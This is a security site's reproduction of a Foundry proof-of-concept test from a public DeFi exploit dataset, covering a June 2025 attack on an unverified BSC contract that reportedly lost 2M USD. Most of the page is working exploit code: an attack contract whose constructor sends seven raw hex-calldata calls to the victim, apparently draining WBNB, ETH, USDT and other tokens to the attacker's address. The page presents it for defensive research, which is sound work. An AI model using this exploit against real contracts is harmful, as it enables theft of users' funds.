Public reproduction file

src/test/2025-06/unverified_b5cb_exp.sol

Public reproduction file for dataset entry Unverified_b5cb.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/unverified_b5cb_exp.sol115 lines

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 2M USD
7// Attacker : https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c
8// Attack Contract : https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a
9// Vulnerable Contract : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e
11// Other Similar Attack Tx : 
12// - https://app.blocksec.com/explorer/tx/bsc/0x7708aaedf3d408c47b04d62dac6edd2496637be9cb48852000662d22d2131f44
13// - https://app.blocksec.com/explorer/tx/bsc/0xf9025e317ce71bc8c055a511fccf0eb4eafd0b8c613da4d5a8e05e139966d6ff
14 
15// @Info
16// Vulnerable Contract Code : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c
17 
18// @Analysis
19// Post-mortem : https://x.com/TenArmorAlert/status/1937761064713941187
20// Twitter Guy : https://x.com/TenArmorAlert/status/1937761064713941187
21// Hacking God : N/A
22 
23address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
24address constant BEP20UpgradeableProxy = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
25address constant OwnedUpgradeabilityProxy = 0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9;
26address constant TransparentUpgradeableProxy = 0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409;
27address constant BEP20Token = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
28address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;
29address constant BEP20Ethereum = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;
30address constant owner = 0xB5CB0555A1D28C9DfdbC14017dae131d5c1cc19c;
31address constant victim = 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87;
32address constant attacker = 0xd5c6f3B71bCcEb2eF8332bd8225f5F39E56A122c;
33 
34 
35contract ContractTest is Test {
36    function setUp() public {
37        vm.createSelectFork("bsc", 52052680-1);
38    }
39    
40    function testPoC() public {
41        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
42        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
43        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
44        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
45        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
46        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
47        emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
48        vm.startPrank(attacker, attacker);
49        AttackerC attC = new AttackerC();
50        vm.stopPrank();
51        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
52        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
53        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
54        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
55        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
56        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
57        emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
58    }
59}
60 
61// 0x7C2565b563E057D482be2Bf77796047E5340C57a
62contract AttackerC {
63    constructor() {
64        require(victim == 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87, "victim mismatch");
65 
66        IERC20(wbnb).balanceOf(owner);
67        // it seems calling the printMoney
68        // but hard to decode the calldata
69        (bool s1,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c000000000000000000000000000000000000000000000001382294b6a25c95b6000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
70        require(s1);
71 
72        IERC20(BEP20Ethereum).balanceOf(owner);
73        (bool s2,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f800000000000000000000000000000000000000000000000014ed4fb12d0c1e2d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
74        require(s2);
75 
76        IERC20(BEP20USDT).balanceOf(owner);
77        (bool s3,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000055d398326f99059ff775485246999027b3197955000000000000000000000000000000000000000000000135bc852b49b2cd8db4000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
78        require(s3);
79 
80        IOwnedUpgradeabilityProxy(OwnedUpgradeabilityProxy).balanceOf(owner);
81        (bool s4,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000040af3827f39d0eacbf4a168f8d4ee67c121d11c90000000000000000000000000000000000000000000000e696b963acf3b8ff37000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
82        require(s4);
83 
84        IBEP20Token(BEP20Token).balanceOf(owner);
85        (bool s5,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000007130d2a12b9bcbfae4f2634d864a1ee1ce3ead9c0000000000000000000000000000000000000000000000000071c00e14a47a0b000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
86        require(s5);
87 
88        IBEP20UpgradeableProxy(BEP20UpgradeableProxy).balanceOf(owner);
89        (bool s6,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000008ac76a51cc950d9822d68b83fe1ad97b32cd580d00000000000000000000000000000000000000000000006df1a2d94e17e00b0d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
90        require(s6);
91 
92        ITransparentUpgradeableProxy(TransparentUpgradeableProxy).balanceOf(owner);
93        (bool s7,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000c5f0f7b66764f6ec8c8dff7ba683102295e164090000000000000000000000000000000000000000000000529b36f9efe67f88b7000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
94        require(s7);
95    } 
96}
97 
98interface IBEP20UpgradeableProxy {
99	function balanceOf(address) external returns (uint256); 
100}
101interface IOwnedUpgradeabilityProxy {
102	function balanceOf(address) external returns (uint256); 
103}
104interface ITransparentUpgradeableProxy {
105	function balanceOf(address) external returns (uint256); 
106}
107interface IBEP20Token {
108	function balanceOf(address) external returns (uint256); 
109}
110interface IBEP20USDT {
111	function balanceOf(address) external returns (uint256); 
112}
113interface IBEP20Ethereum {
114	function balanceOf(address) external returns (uint256); 
115}

Analysis

Dataset entry

Public Foundry test for “Unverified_b5cb” (2025-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
src/test/2025-06/WaleCoin_exp.solSame month in the dataset · 121 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c
Attack Contract
0x7c2565b563e057d482be2bf77796047e5340c57a
Vulnerable Contract
0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c

Attack Tx
0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e

File record

Name: Unverified_b5cb
Path: src/test/2025-06/unverified_b5cb_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: a7df9880b38b8e099f14fca2d26a0c25898da3bd
Language: Solidity
Size: 115 lines
Date: 2025-06-25
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2025-06/unverified_b5cb_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a7df9880b38b8e099f14fca2d26a0c25898da3bd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.